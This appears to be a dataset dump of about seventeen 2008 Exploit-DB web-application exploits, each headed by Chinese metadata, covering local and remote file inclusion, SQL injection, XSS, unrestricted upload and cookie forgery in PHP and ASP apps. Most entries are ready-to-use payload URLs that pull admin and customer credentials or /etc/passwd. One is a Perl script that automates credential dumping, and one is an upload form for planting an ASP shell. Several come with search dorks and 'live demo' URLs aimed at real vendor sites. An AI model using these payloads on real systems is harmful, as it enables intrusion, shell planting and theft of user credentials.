QLWD/code_shield huggingface dataset:
标题: GL-SH Deaf Forum 6.5.5 - Multiple Vulnerabilities EDB-ID: 5870 CVE: 2007-3535 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-20 漏洞利用脚本: ########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: GL-SH Deaf Forum <=6.5.5 Multiple Vulnerabilities
# Vendor: www.frank-karau.de
# Vulnerable Version: 6.5.5 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: www.bugreport.ir/?/46
###################################################################################

####################
1. Description:
####################
    Gl-SH Deaf board is programmed a free board in PHP, without My SQL, With 10 Designs and 5 languages.
####################
2. Vulnerabilities:
####################
    2.1. Local File Inclusion (LFI) in "/functions.php" in "FORUM_LANGUAGE" parameter.
        2.1.1. Exploit:
                        Check the exploit/POC section.
    2.2. File (image) Upload without premission.
        2.2.1. Exploit:
                        Check the exploit/POC section.
    2.3. Cross Site Scripting (XSS). Reflected XSS attack in "search.php".
        2.3.1. Exploit:
                        Check the exploit/POC section.

####################
3. Exploits/POCs:
####################
    Original Exploit URL: http://bugreport.ir/index.php?/46/exploit
    3.1. Local File Inclusion (LFI) in "/functions.php" in "FORUM_LANGUAGE" parameter.
        -------------
        LFI:
            http://[URL]/[Forum Path]/functions.php?FORUM_LANGUAGE=/../../../../../../../../../../etc/passwd
        -------------
    3.2. File (image) Upload with out premission.
        -------------
        Uploader link:
            http://[URL]/[Forum Path]/upload.php
        -------------
    3.3. Cross Site Scripting (XSS). Reflected XSS attack in "search.php".
        -------------
            <form action="http://[URL]/[Forum path]/search.php" method="post">
            <tr><td class=g>XSS: <small></td><tr>
            &quot;&lt;SCRIPT&gt;alert(/BugReport.ir-XSS/.source)&lt;/SCRIPT&gt;
            <br><tr><td class=g><INPUT TYPE="text" class="txt" NAME="search" SIZE="30" MAXLENGTH="100"><br/>
            <tr><td class=g><INPUT TYPE="RADIO" checked NAME="type" VALUE="themen">&nbsp;search only in topics</td></tr>
            <tr><td class=g><INPUT TYPE="RADIO" NAME="type" VALUE="beitraege">&nbsp;search in topics and answers</td></tr>
            <INPUT TYPE="SUBMIT" class="btn" NAME="submit" VALUE="submit"></td></tr>
        -------------
####################
4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitized. check permission for upload page.
####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-06-20] URL: https://www.exploit-db.com/exploits/5870
标题: FubarForum 1.5 - 'index.php' Local File Inclusion EDB-ID: 5872 CVE: 2008-2887 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-20 漏洞利用脚本: ###################################################################################
#
#   Name   : FubarForum v1.5 Local File Inclusion Vulnerability
#   Author : cOndemned
#   Dork   : for ex. "Powered by FubarForum v1.5"
#   Greetz : TBH, GregStar, ZaBeaTy, irk4z, Hawk, Sandtalker & Avantura ;*
#
###################################################################################

Source :

    // index.php

    5.  if (!empty($_GET['page'])) { $page = $_GET['page']; }       // <---- $page is being sended using GET method

    91. if (file_exists("./".$page.".php")) {       // <---- if only the file exists and we can use null byte (%00)
    
    98. include("./".$page.".php");                 // <---- our file will be included here :))
    
PoC :
    
    http://[host]/[fubarforum_path]/index.php?page=../../../../etc/passwd%00
    http://[host]/[fubarforum_path]/index.php?page=../../../../[local_file]%00
    
###################################################################################
#
#   Together We stand tall, not gonna crash, not gonna fall - Children of Bodom
#
###################################################################################

# milw0rm.com [2008-06-20] URL: https://www.exploit-db.com/exploits/5872
标题: FireAnt 1.3 - 'index.php' Local File Inclusion EDB-ID: 5871 CVE: 2008-2896 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-20 漏洞利用脚本: ###################################################################################
#
#   Name   : FireAnt v1.3 Local File Inclusion Vulnerability
#   Author : cOndemned
#   Dork   : use Your brain (:
#   Greetz : ZaBeaTy, str0ke, GregStar, irk4z, Sandtalker & Avantura ;**
#
###################################################################################

Source :

    // index.php

    8.      $page = "bug_list"; //default page
    9.      if (!empty($_GET['page'])) {
    10.         $page = strip_tags($_GET['page']);
    
    99.             if (file_exists("./".$page.".php")) { 
    
    104.                include("./".$page.".php"); 

    
Proof of Concept :

    http://[host]/[FireAnt1.3]/index.php?page=../../../../etc/passwd%00
    http://[host]/[FireAnt1.3]/index.php?page=../../../../[local_file]%00

# milw0rm.com [2008-06-20] URL: https://www.exploit-db.com/exploits/5871
标题: Orlando CMS 0.6 - Remote File Inclusion EDB-ID: 5864 CVE: 2008-2854 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-19 漏洞利用脚本: ###############################################################
#
# Orlando CMS classes Remote File Include Vulnerabilities
#
###############################################################
#
# Discovered by : Ciph3r
#
#
# MAIL : Ciph3r_blackhat@yahoo.com
#
#
# SP TANX4 : Iranian hacker & Kurdish Security TEAM
#
#
# CLASS : remote
#
# download cms: http://sourceforge.net/project/showfiles.php?group_id=195547
#
################################################################
#
# C0de :
#               
#               
#  include($GLOBALS['preloc']."modules/core/logger/sticky.php");
#     
#       
###############################################################

EXPLOIT :

http://127.0.0.1/cms/Orlando/modules/core/logger/init.php?GLOBALS[preloc]=http://127.0.0.1/c99.php?

http://127.0.0.1/cms/Orlando/AJAX/newscat.php?GLOBALS[preloc]=http://127.0.0.1/c99.php?

#####################################################################

# milw0rm.com [2008-06-19] URL: https://www.exploit-db.com/exploits/5864
标题: AJ Auction Web 2.0 - 'cate_id' SQL Injection EDB-ID: 5867 CVE: 2008-2860 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-19 漏洞利用脚本: #########################################################
#
#     Auction Web 2.0  SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc                            =
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#            hussin.x[at]hotmail[DoT]com                =
#                                                       =
#=========================================================
#    HomE script : http://www.ajauctionpro.com/ajhome.php
#     
#    Demo : http://www.ajauctionpro.com/auction_web2.0/   
#    
#          DorK :  Powered By AJ Auction Web
#          DorK :  Powered By Auction Web
#     
##########################################################

Exploit:   

http://localhost.com/[PaTs]/category.php?cate_id=-1+union+select+1,concat(user_name,0x3a,password),3,4+from+admin--


Admin login

admin/index.php

################################################################################
#####################################( Greetz )#################################
#                                                                              #
#           tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUA              #       
#                mos_chori / Rafi / FAHD / Iraq Hackers /                      #       
#                                                                              #
#################################(and All IRAQIs)###############################
################################################################################

# milw0rm.com [2008-06-19] URL: https://www.exploit-db.com/exploits/5867
标题: CMS-BRD - 'menuclick' SQL Injection EDB-ID: 5863 CVE: 2008-2837 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-19 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##########################################################
 #   [ CMS-BRD ]   Remote SQL Injection Vulnerability     #
 ##########################################################
 #
 # Script site: http://www.cms.brdconcept.fr/
 # 
 # Vuln: 
 # http://site.com/index.php?lang=en&menuclick=-1+UNION+SELECT+concat_ws(char(58),USER(),DATABASE(),VERSION())/*
 #
 # 
 # Dork example: "Powered By CMS-BRD"
 #
 ###############################################
 # Greetz: D3m0n_DE * sid.psycho * str0ke and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-06-19] URL: https://www.exploit-db.com/exploits/5863
标题: CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection EDB-ID: 5865 CVE: 2008-2866 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-19 漏洞利用脚本: #!/usr/bin/perl
######################
#
#CaupoShop Classic 1.3 Remote Exploit
#
######################
#
#Bug by: h0yt3r
#
#Dork: inurl:csc_article_details.php
# Couldnt find a stable dork for this specific Version.
#Exploit will only work on correct version.
#
##
###
##
#
#I found this long time ago but never actually shared it.
#As the userid's are a bit messy you will only get the top 1 row value.
#Change it if you like.
#
#Gr33tz go to:
#thund3r, ramon, b!zZ!t, Free-Hack, Sys-Flaw and of course the pwning h4ck-y0u Team
########

use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;

usage();

$server =   $ARGV[0];
$dir = $ARGV[1];

print"\n";
if (!$dir) { die "Read Usage!\n"; }

$filename ="csc_article_details.php";
my $url = "http://".$server.$dir.$filename."?";

my $Attack= $userAgent->get($url);
if ($Attack->is_success)
{
    print "[x] Attacking ".$url."\n";
}
else
{
    print "Couldn't connect to ".$url."!";
    exit;
}

print "[x] Injecting Black Magic\n";

my @count = ("66666");

for ($i = 6; $i<99; $i++)
{
    my $selectUrl = $url."saArticle[ID]=-275 union select 1,2,3,4, @count";
    my $Attack= $userAgent->get($selectUrl);
    if($Attack->content =~ 66666)
        { last; }
    else
        { push(@count,",66666"); }
}

my $Final = $url."saArticle[ID]=-1 union select 1,2,3,concat(1337,email,0x3a,password,1337), @count from csc_customer";   

my $Attack= $userAgent->get($Final);

if($Attack->content =~ m/1337(.*?):(.*?)1337/i)
{   
    my $login = $1;
    my $pass = $2;
    print "[x] Success!\n";
    print "[x] Top 1 User Details:\n";

    print "    Username: ".$login."\n";
    print "    Password: ".$pass."\n";
}
else
{
    print"[x] Something wrong...Version?\n";
    exit;

}

sub usage()
{
    print q
    {
    #####################################################
            CaupoShop Classic Remote Exploit
                    -Written by h0yt3r-
    Usage: CC.pl [Server] [Path]
    Sample:
    perl CC.pl www.site.com /shop/
    ######################################################
    };

}
#eof

# milw0rm.com [2008-06-19] URL: https://www.exploit-db.com/exploits/5865
标题: OwnRS blog beta3 - SQL Injection / Cross-Site Scripting EDB-ID: 5860 CVE: 2008-2856 2008-2855 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-19 漏洞利用脚本: ==============================================================
  OwnRS Blog beta3 (SQL/XSS) Multiple Remote Vulnerabilities
==============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 19 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : OwnRS
 VERSION     : Beta3
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/ownrs
#####################################################

--- Remote SQL Injection ---

**magic_quote must turn off**

------------------------------
 Vulnerable File (clanek.php)
------------------------------

@ Line 66

[+] $vysledek=mysql_query("select * from clanky where id= '" . $id . "'") or die (mysql_error());

----------
 Exploit
----------

[+] http://[Target]/[Ownrs_path]/clanek.php?id=[SQL Injection]

-------------
 POC Exploit
-------------

[+] http://localhost/own/clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1

When you view source, You can see

@Line 87

[+] <h1><a href="clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1"><?php
[+] $spojeni= mysql_connect(
[+] //server
[+] "localhost",
[+] //login
[+] "xampp",
[+] //heslo
[+] "xampp" );
[+] //databÃ¡ze
[+] mysql_select_db("databaze",$spojeni);
[+] ?>
[+] </a></h1>
[+] 45<p class="right"><strong><a href="index.php?kat=9">
[+] <div class="cara"><span class="schovat">cara</span></div>
      

---------------------
 Exploit Description
---------------------

    This exploit use load_file() to view source files (load_file() can only use with Mysql5+)

load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112))
will open C:\xampp\htdocs\Own\db.php


--- Remote XSS Exploit ---

------------------------------
 Vulnerable File (clanek.php)
------------------------------

@ Line 69

[+] <h1><a href="clanek.php?id=<?echo $id?>"><?echo $zaznam["nadpis"]?></a></h1>

---------
 Exploit
---------

[+] http://[Target]/[Ownrs_path]/clanek.php?id=<XSS>


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-19] URL: https://www.exploit-db.com/exploits/5860
标题: Maxtrade AIO 1.3.23 - 'categori' SQL Injection EDB-ID: 5853 CVE: 2008-2847 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-18 漏洞利用脚本: ##########################################################
############# Remote SQL Injection Maxtrade AIO 1.3.23 ... ##############
## HaCker_Egy
## Contact : hacker_egy@hotmail.com
## Home : pal-hacker.com & atsdp.com
===============================================
# Script : Maxtrade
# Version : 1.3.23
# Download : http://softdivision.com
===============================================
# Exploit :
           ==>> www.target.com//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+current_user,2/*
         
     ==>> www.target.com//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+concat_ws(0x3a3a,name,password,email),2+from+accounts/*
    
# live Demo :
             
    ==>> http://softdivision.com/maxtradedemo/modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+current_user,2/* 
   
===============================================================
## GREETZ : Mr.SQL , GOLD_M , H-T Team , His0k4 , Dark , Mohamed el arab , stack
=================================================================

# milw0rm.com [2008-06-18] URL: https://www.exploit-db.com/exploits/5853
标题: AspWebCalendar 2008 - Arbitrary File Upload EDB-ID: 5850 CVE: 2008-2832 类型: WEBAPPS 平台: ASP 发布日期: 2008-06-18 漏洞利用脚本: Title:AspWebCalendar 2008 Remote File Upload Vulnerability

# Discovered by : Alemin_Krali  

# Dork :calendar.asp?eventdetail

http://[site.com]/path/calendar_admin.asp?action=uploadfile ==>>> upload your Asp shell

http://[site.com]/path/calendar/eventimages/yourshell.asp ==>>> your address

upload form

<FORM ENCTYPE='multipart/form-data' METHOD='post' ACTION='http://HOST/PATH//calendar_admin.asp?action=uploadfileprocess&form=&element='><FONT <FONT COLOR='blue' >http://example.com/path/calendar/eventimages/</FONT></FONT><BR><INPUT TYPE=FILE SIZE=56 NAME='FILE1'><BR><BR><INPUT TYPE='submit' VALUE='pwned'></FORM></P>


Sp thnx:Cr@zy_King Kerem125 Jextoxic Abo Mohammed

# milw0rm.com [2008-06-18] URL: https://www.exploit-db.com/exploits/5850
标题: BoatScripts Classifieds - 'type' SQL Injection EDB-ID: 5858 CVE: 2008-2846 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-18 漏洞利用脚本: BoatScripts Classifieds Sql INjection

By Stack
Home v4-team.com

poc : http://site.co.il/index.php?type=-1/**/UNION/**/SELECT/**/concat(char(58),user(),version(),database())/*
live demo tested
http://www.boatscripts.com/boats/index.php?type=-1/**/UNION/**/SELECT/**/concat(char(58),user(),version(),database())/*

# milw0rm.com [2008-06-18] URL: https://www.exploit-db.com/exploits/5858
标题: eroCMS 1.4 - 'site' SQL Injection EDB-ID: 5846 CVE: 2008-2792 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## eroCMS V1.0 - V1.1 - V1.2 - V1.3 - V1.4 ( index.php site )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : eroCMS
##
## Vesrion : 1.0 - 1.1 - 1.2 - 1.3 - 1.4
##
## site    : www.erocms.de
##
########################
########################
##
## D0rk : "by eroCMS"
##
##
##     -(:: SQL ::)-
##
##    www.site.com/
##          index.php?site=-1'+union+select+1,2,concat_ws(0x3a,passwort,email),4,5+from+members+limit+1,1/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://demo.erocms.de/index.php?site=-1'+union+select+1,2,concat_ws(0x3a,passwort,email),4,5+from+members+limit+1,1/*
##
#######################
#######################
 -(:: NOTE ::)-
maybe table users  ( members )
columns  ( , passwort , email , ) get the user column , USE group by :) , (( This porno script ))
 
#######################################################################################################
#######################################################################################################
 
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5846
标题: Easy Webstore 1.2 - SQL Injection EDB-ID: 5855 CVE: 2008-2853 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-18 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## Easy Webstore v1.2  ( index.php cat_path )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : Easy Webstore v1.2
##
## site    : www.webstorexpert.com
##
########################
########################
##
## d0rk :  allinurl: "index.php?cat_path"
##
##
##     -(:: SQL ::)-
##
##    www.site.com/
##          index.php?cat_path=-1+union+select+concat(user(),0x2F2A2A2F,version(),0x2F2A2A2F,database())/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://www.webstorexpert.com/demo/index.php?cat_path=-1+union+select+concat(user(),0x2F2A2A2F,version(),0x2F2A2A2F,database())/*
##
#######################
#######################
 -(:: NOTE ::)-
<< Cant see no thing in the page :)) open the image and get the info in the link ;) >>
 
#######################################################################################################
#######################################################################################################
 
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-18] URL: https://www.exploit-db.com/exploits/5855
标题: MyShoutPro 1.2 - Final Insecure Cookie Handling EDB-ID: 5845 CVE: 2008-6738 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: ########################################################################
             #                                                                      #
             # ...:::::MyShoutPro   Insecure Cookie Handling Vulnerability ::::.... #         
             ########################################################################
 
--------
Discoverd By :Stack
Home : http://v4-team.com
---
exploit:
javascript:document.cookie = "admin_access=1; path=/"; document.cookie = "admin_access=1; path=/";
-----

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5845
标题: Carscripts Classifieds - 'cat' SQL Injection EDB-ID: 5857 CVE: 2008-2844 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-18 漏洞利用脚本: Carscripts Classifieds Sql INjection

By Stack
Home v4-team.com
###########################################
[+] : you can see the Result in 'Title'
[+] : Open the source page to see the result
###########################################
poc : http://site.co.il/index.php?cat=-1/**/UNION/**/SELECT/**/concat(char(58),user(),version(),database()),2,3/*

live demo
http://www.carscripts.com/cars/index.php?cat=-1/**/UNION/**/SELECT/**/concat(char(58),user(),version(),database()),2,3/*

# milw0rm.com [2008-06-18] URL: https://www.exploit-db.com/exploits/5857
标题: Mybizz-Classifieds - 'cat' SQL Injection EDB-ID: 5854 CVE: 2008-2845 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-18 漏洞利用脚本: ##################################################
################   Mybizz Classifieds     ##################
## HaCker_Egy
## Contact : hacker_egy@hotmail.com
## Home : pal-hacker.com & atsdp.com
===============================================
# Script :  mybizz classifieds
# Download : http://www.mybizz-classifieds.com/
===============================================
# Exploit :
           ==>> http://www.target.com/mybizz/index.php?cat=-1+union+select+user(),2,3/*
         
     ==>> http://www.target.com/mybizz/index.php?cat=-1+union+select+current_time,2,3/*
    
# live Demo :
             
    ==>> http://www.mybizz-classifieds.com/mybizz/index.php?cat=-1+union+select+user(),2,3/*
   
## Note : use your mind to get Full exploit D: 
   
===============================================================
## GREETZ : Mr.SQL , GOLD_M , H-T Team , His0k4 , Dark , Mohamed el arab , stack
================================================================================================

# milw0rm.com [2008-06-18] URL: https://www.exploit-db.com/exploits/5854